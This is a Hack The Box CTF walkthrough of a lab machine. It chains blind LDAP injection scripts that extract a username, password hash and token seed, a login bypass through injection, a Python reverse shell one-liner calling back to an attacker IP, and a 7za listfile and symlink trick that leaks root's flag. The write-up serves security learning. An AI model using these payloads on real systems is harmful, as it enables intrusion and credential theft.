# HTB CTF

## PART 1 : Initial Recon

### 1.1 NMAP SCAN

```bash
$ nmap --min-rate 700 -p- -v 10.10.10.122

  PORT   STATE SERVICE
  22/tcp open  ssh
  80/tcp open  http
  
$ nmap -oN ctf.nmap -p22,80 -sC -sV -v 10.10.10.122

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey: 
  |   2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
  |   256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
  |_  256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
  | http-methods: 
  |   Supported Methods: GET HEAD POST OPTIONS TRACE
  |_  Potentially risky methods: TRACE
  |_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
  |_http-title: CTF
```

## PART 2 : Port Enumeration

### 2.1 TCP PORT 80 : HTTP

Visiting `http://10.10.10.122`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdMR4zg-8Xzti0fTSM%2Fimage.png?alt=media\&token=1f80bef2-97db-4905-83a1-6d7f960ec964)

The site is protected against bruteforcing which means automated tools are not an efficient option. Looking at `/login.php`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdMpbEBil_BD-N_l_X%2Fimage.png?alt=media\&token=7f90325b-85aa-457e-ae6b-7268c84c2043)

Page Source (`/login.php`):

```markup
...
<form action="/login.php" method="post">
  <div class="form-group row">
    <div class="col-sm-10">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputUsername" class="col-sm-2 col-form-label">Username</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputUsename" name="inputUsername" placeholder="Username">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
      <!-- at the moment we have choosen an already existing attribute in order to store the token string (81 digits) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name=" submit"="" value="Login">Login</button>
    </div>
  </div>
</form>
...
```

**NOTE(S)**:

An error message pops up when guessing the `Username` input:

```markup
<div class="col-sm-10">User test not found</div>
```

Now, testing for possible injection -- `inputUsername=%3D` (`%3D` is "=") and no error message popped up.

* `!`, `&`, `*`, `(`, `)`, `\`, `|`, `<`, and `>` also doesn't return an error message

These are special characters in LDAP so maybe these characters are being filtered out by **/login.php**. It is also important to note that a **token string** for the `OTP` is stored in a pre-existing attribute so the login might actually be validated using LDAP.

## PART 3 : EXPLOITATION

### 3.1 LDAP Blind Injection

Attempt exploitation using [**LDAP Injection**](https://www.owasp.org/index.php/LDAP_injection) using a wildcard "`*`" as a payload:

```
inputUsername=%2A
```

The following response was given by the server:

```markup
<div class="col-sm-10">Cannot login</div>
```

This error message means we have a valid username and that the injection has worked. Now attempting to extract a real valid user using python:

```python
import requests as r
import urllib.parse as u

username = ""
char_list = "abcdefghijklmnopqrstuvwxyz0123456789"
while True:
  for i in range(0, len(char_list)):

      ldap_injection = "%s%c*" % (username, char_list[i])
      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if "Cannot login" in req.text:
          username = username + char_list[i]
          print(username)
          break

  if i == len(char_list) - 1 : break

print("[x] THE USERNAME IS " + username)
```

Run using `python3` and a user, `ldapuser`, has been extracted:

```bash
l
ld
lda
ldap
ldapu
ldapus
ldapuse
ldapuser
[x] THE USERNAME IS ldapuser
```

Now finding all available/usable LDAP Attributes using `ldap_attribute_list.txt` (copied from [ldap-brute from GitHub](https://github.com/droope/ldap-brute/blob/master/wordlists/attribute_names)):

```python
import requests as r
import urllib.parse as u

attribute_list = open("/usr/share/wordlists/ldap_attribute_names.txt", "r")

attributes = []
for i in attribute_list:

  ldap_injection = "ldapuser))(&(%s=*" % (i[:-1])

  data = { "inputUsername": u.quote(ldap_injection) }
  req = r.post("http://10.10.10.122/login.php", data=data)

  if "Cannot login" in req.text:
      print(ldap_injection)
      attributes.append(i[:-1])

attribute_list.close()
```

Run using `python3` and the following were returned -- `userPassword`, `pager`, and `objectClass` might be of interest:

```bash
ldapuser))(&(cn=*
ldapuser))(&(commonName=*
ldapuser))(&(gidNumber=*
ldapuser))(&(homeDirectory=*
ldapuser))(&(loginShell=*
ldapuser))(&(mail=*
ldapuser))(&(name=*
ldapuser))(&(objectClass=*
ldapuser))(&(pager=*
ldapuser))(&(shadowLastChange=*
ldapuser))(&(shadowMax=*
ldapuser))(&(shadowMin=*
ldapuser))(&(shadowWarning=*
ldapuser))(&(sn=*
ldapuser))(&(surname=*
ldapuser))(&(uid=*
ldapuser))(&(uidNumber=*
ldapuser))(&(userPassword=*
```

Extracting the contents of `userPassword`:

```python
import requests as r
import urllib.parse as u

token = ""
while True:

  if len(token) % 3 == 0 :
      attribute_value = bytes.fromhex(str(token.replace("\\", ""))).decode('utf-8')
      print(attribute_value)
      token += "\\"

      if len(attribute_value[19:])==86: break

  for x in range(15,-1,-1):

      if len(attribute_value[19:])==85 and len(token) % 3 == 2 :
          if x==0: token = token + "0"

      payload = "ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:="
      ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      if ldap_injection[-3:] == "0ff":
          hex_val = "0x" + ldap_injection[-6:-4]
          token = token[:-4] + hex(int(hex_val, 16) + 1)[-2:] + "\\"
          ldap_injection = payload + "%s%cf" % (token, hex(x)[-1])

      data = { "inputUsername": u.quote(ldap_injection) }
      req = r.post("http://10.10.10.122/login.php", data=data)

      if x==0 and len(token) % 3 == 2 : token = token[:-1] + str(int(token[-1]) - 1) + "0"
      elif "Cannot login" not in req.text:
          if len(token) % 3 == 2 : token = token + hex(x)[-1]
          else: token = token + hex(x+1)[-1]
          break
```

Run using `python3`:

```
{
{c
{cr
{cry
{cryp
{crypt
{crypt|
{crypt}#
{crypt}$5
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G-
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.
...
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi23
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi245
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi246
{crypt}$6$bkSTg.p5$vJhB6dZrrPY4KyxGY/dubPZ9tnxTkXwI7ENFAZGsItSi5ia4WH3G.0T9XicaZGNOqp9FfdbS5N2hT0exXi2460
```

The `userPassword` attribute is a bit special:

{% hint style="info" %}

* According to Microsoft, `userPassword` has an [Object(Replica-Link) syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/a-unixuserpassword)
* [Object(Replica-Link)](https://ldapwiki.com/wiki/Replica%20Link) has an OID 2.5.5.10 which is an **Octet String**
* **Octet Strings** has a different set of [operations](https://ldap.com/matching-rules/):

```
Octet string matching rules are very simple rules that perform byte-by-byte comparisons of octet string 
values. All capitalization and spacing is considered significant.
```

{% endhint %}

So with `ldapuser))(&(uid=ldapuser)(userPassword:2.5.13.18:=`, a simple wildcard comparison won't do:

```
octetStringOrderingMatch (OID 2.5.13.18): An ordering matching rule that will perform a bit-by-bit 
comparison (in big endian ordering) of two octet string values until a difference is found. The first 
case in which a zero bit is found in one value but a one bit is found in another will cause the value 
with the zero bit to be considered less than the value with the one bit.
```

A **sha512crypt** hash was extracted but this seems to be a **RABBIT HOLE**. But the `pager` attribute seems promising:

```python
import requests as r
import urllib.parse as u

token = ""
while( len(token)!=81 ):
    for i in range(0,10):

        ldap_injection = "ldapuser))(&(pager=%s%d*" % (token, i)
        data = { "inputUsername": u.quote(ldap_injection) }
        req = r.post("http://10.10.10.122/login.php", data=data)

        if "Cannot login" in req.text:
            token = token + str(i)
            print(token)
            break

print("[x] THE TOKEN IS " + token)
```

Run using `python3` and it seems like the attribute contains the token which is a **Pure Numeric CTF (Compressed Token Format) string**:

```
2
28
285
2854
28544
285449
2854494
28544949
285449490
2854494900
...
28544949001135715653165154565233557071316741144572714
285449490011357156531651545652335570713167411445727140
2854494900113571565316515456523355707131674114457271406
28544949001135715653165154565233557071316741144572714060
285449490011357156531651545652335570713167411445727140604
2854494900113571565316515456523355707131674114457271406041
...
28544949001135715653165154565233557071316741144572714060417214145671110271671700
285449490011357156531651545652335570713167411445727140604172141456711102716717000
[x] THE TOKEN IS 285449490011357156531651545652335570713167411445727140604172141456711102716717000
```

### **3.2 OTP Generation**

Generate an OTP using the token string with [`stoken`](https://manpages.debian.org/testing/stoken/stoken.1.en.html):

```bash
$ stoken import --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000

  Enter new password: 
  Confirm new password: 

$ stoken tokencode

  Enter PIN:
  PIN must be 4-8 digits.  Use '0000' for no PIN.
  Enter PIN: 0000
  83502926
```

Login using the credentials found/generated (**ldapuser**:**83502926**) then you are redirected to `/page.php`:

![](https://4170386048-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Mfagag8d4yY8yveDJY3%2F-MfdKK5sMmZA0VOix1CA%2F-MfdTnNsf2ZcXkRHyvvc%2Fimage.png?alt=media\&token=b5000fba-d53a-4cf1-b18a-86168e837793)

Page Source (`/page.php`):

```markup
...
<form action="/page.php" method="post" >
  <div class="form-group row">
    <div class="col-sm-12">
        </div>
  </div>
  <div class="form-group row">
    <label for="inputCmd" class="col-sm-2 col-form-label">Cmd</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputCmd" name="inputCmd" placeholder="Command to issue">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputOTP" class="col-sm-2 col-form-label">OTP</label>
    <div class="col-sm-10">
      <input type="OTP" class="form-control" id="inputOTP" name="inputOTP" placeholder="One Time Password">
      <!-- we'll change the schema in the next phase of the project (if and only if we will pass the VA/PT) -->
    </div>
  </div>
  <div class="form-group row">
    <div class="col-sm-10">
      <button type="submit" class="btn btn-primary  name="submit" value="Submit">Submit</button>
    </div>
  </div>
</form>
...
```

An error message pops up when fuzzing the `inputCmd`'s input:

```markup
<div class="col-sm-10">User must be member of root or adm group and have a registered token to issue commands on this server</div>
```

There was a `gidNumber` back during bruteforcing the available LDAP attributes:

* `root` and `adm` has group numbers **0** and **4** respectively
* Maybe `ldapuser`'s group number could be added to the check done by ***/page.php***

Maybe the group restriction could be bypassed by passing an LDAP injection as a username like `ldapuser))(|(gidNumber:2.5.13.14:=1000`when loggin in:

| USERNAME                                               | PASSWORD                       |
| ------------------------------------------------------ | ------------------------------ |
| ldapuser%29%29%28%7C%28gidNumber%3A2.5.13.14%3A%3D1000 | Generate an OTP using `stoken` |

Checking if `ldapuser`'s GID is ineed 1000:

```python
import requests as r
import urllib.parse as u

for i in range(1000, 1050):
    ldap_injection = "ldapuser))(|(gidNumber:2.5.13.14:=%d" % (i)
    data = { "inputUsername": u.quote(ldap_injection) }
    req = r.post("http://10.10.10.122/login.php", data=data)

    if "Cannot login" in req.text: break

print("[x] ldapuser's gidNumber : " + str(i))
```

The script returned the following --`[x] ldapuser's gidNumber : 1000`

{% hint style="info" %}
According to Microsoft, `gidNumber` has an [Enumeration Syntax](https://docs.microsoft.com/en-us/windows/desktop/adschema/s-enumeration) with a [Matching Rule](https://ldap.com/matching-rules/)

```
Integer Matching
...
integerMatch (OID 2.5.13.14): An equality matching rule that will consider two integer values 
equivalent if they represent the same number.
```

{% endhint %}

Using the new username, The group restriction no longer applies.

## PART 4 : Generate User Shell

### 4.1 Reverse Shell as apache

On the local machine:

```
nc -lvp 4444
```

Sending a reverse shell on **/page.php**:

| inputCmd                                                                                                                                                                                                                              | inputOTP                       |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------ |
| `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.12.62",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` | Generate an OTP using `stoken` |

While inside the reverse shell:

```bash
$ id

  uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

$ cat /etc/passwd | grep bash

  root:x:0:0:root:/root:/bin/bash
  ldapuser:x:1000:1000::/home/ldapuser:/bin/bash

$ ls -lah

  [...omitted...]
  -rw-r-----. 1 root   apache 5.0K Oct 23  2018 login.php
  -rw-r-----. 1 root   apache   68 Oct 23  2018 logout.php
  -rw-r-----. 1 root   apache 5.2K Oct 23  2018 page.php
  [...omitted...]

$ cat login.php

  [...omitted...]
  $username = 'ldapuser';
  $password = 'e398e27d5c4ad45086fe431120932a01';
  [...omitted...]
```

### 4.2 SSH as ldapuser

Login as `ldapuser` via `ssh`:

```bash
$ ssh -l ldapuser 10.10.10.122

ldapuser@10.10.10.122's password: e398e27d5c4ad45086fe431120932a01
```

`ldapuser` shell:

```bash
$ id

  uid=1000(ldapuser) gid=1000(ldapuser) groups=1000(ldapuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

$ cat user.txt

  74a8e86f3f6ecd8010a660cfb44ee585
```

## PART 5 : Privilege Escalation (ldapuser -> root)

### 5.1 honeypot.sh

Enumerating the system using `ldapuser` shell:

```bash
$ ls -lah /

  [...omitted...]
  drwxr-xr-x.   2 root root 4.0K Jun 18 20:16 backup
  [...omitted...]

$ ls -lah /backup

  [...omitted...]
  -rw-r--r--.  1 root root   32 Jun 18 20:13 backup.1560881581.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:14 backup.1560881641.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:15 backup.1560881701.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:16 backup.1560881761.zip
  -rw-r--r--.  1 root root   32 Jun 18 20:17 backup.1560881821.zip
  -rw-r--r--.  1 root root    0 Jun 18 20:17 error.log
  -rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh
```

There is a script named `honeypot.sh` and **backup** files seem to be generated every minute:

```bash
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- * 

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
```

{% hint style="info" %}
Breakdown of `honeypot.sh`:

```bash
ls -1t *.zip | tail -n +11 | xargs rm -f
```

* Keeps a maximum of 10 most recent backups in `/backup`.

```bash
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
```

* Backs everything up in `/var/www/html/uploads`
* The backups are password-protected and running `pspy` doesn't show when 7za is run which means that the password can't be intercepted.
* The `--` switch protects `7za` from **wildcard injection**.

```bash
rm -rf -- *
```

* Everything in `/var/www/html/uploads` are deleted after backup.

```bash
truncate -s 0 /backup/error.log
```

* Errors generated (maybe) are deleted after everything
  {% endhint %}

### 5.2 7za listfiles

Leveraging `honeypot.sh` by exploiting what `7za` can do:

```bash
$ 7za --help

  [...omitted...]
  Usage: 7za <command> [<switches>...] <archive_name> [<file_names>...] [<@listfiles...>]
  [...omitted...]
  <Switches>
    -- : Stop switches parsing
  [...omitted...]
    -snl : store symbolic links as links
  [...omitted...]
    -t{Type} : Set type of archive
  [...omitted...]
```

Since all switches after `--` will be ignored meaning **wildcard injection** is no longer a viable option but, `[<@listfiles...>]` could still be controlled

{% hint style="info" %}

* `@` references to a `listfile`
* A `listfile` contains one file per line
* Using absolute paths are helpful
* `7za` will archive the files in the `listfile`
  {% endhint %}

To leverage `@listfiles`, write a file to `/var/www/html/uploads`:

```bash
$ cd /var/www/html/uploads

$ ls -la
  
  ls: cannot open directory .: Permission denied

$ ls -lah ../
  
  [...omitted...]
  drwxr-x--x. 2 apache apache    6 Oct 23  2018 uploads
```

The reverse shell from earlier has a user `apache` so the permissions could be changed using **/page.php**

| inputCmd                          | inputOTP                       |
| --------------------------------- | ------------------------------ |
| `chmod 777 /var/www/html/uploads` | Generate an OTP using `stoken` |

Now, create ***relevant*** files:

```bash
$ cd /var/www/html/uploads

$ touch @list

$ ln -s /root/root.txt list

$ ls -lah

  drwxrwxrwx. 2 apache   apache    31 Jun 18 21:42 .
  drwxr-xr-x. 6 root     root     176 Oct 23  2018 ..
  lrwxrwxrwx. 1 ldapuser ldapuser  14 Jun 18 21:42 list -> /root/root.txt
  -rw-rw-r--. 1 ldapuser ldapuser   0 Jun 18 21:42 @list
```

Since `list` is not a valid ***listfile***, an error will be thrown. Attempting to capture `/backup/error.log` before contents are ***truncated*** by `honeypot.sh`:

```bash
$ while ! [ -s /backup/error.log ]; do : ; done; cat /backup/error.log

  WARNING: No more files
  fd6d2e53c995e6928cd0f040c79ba053
```
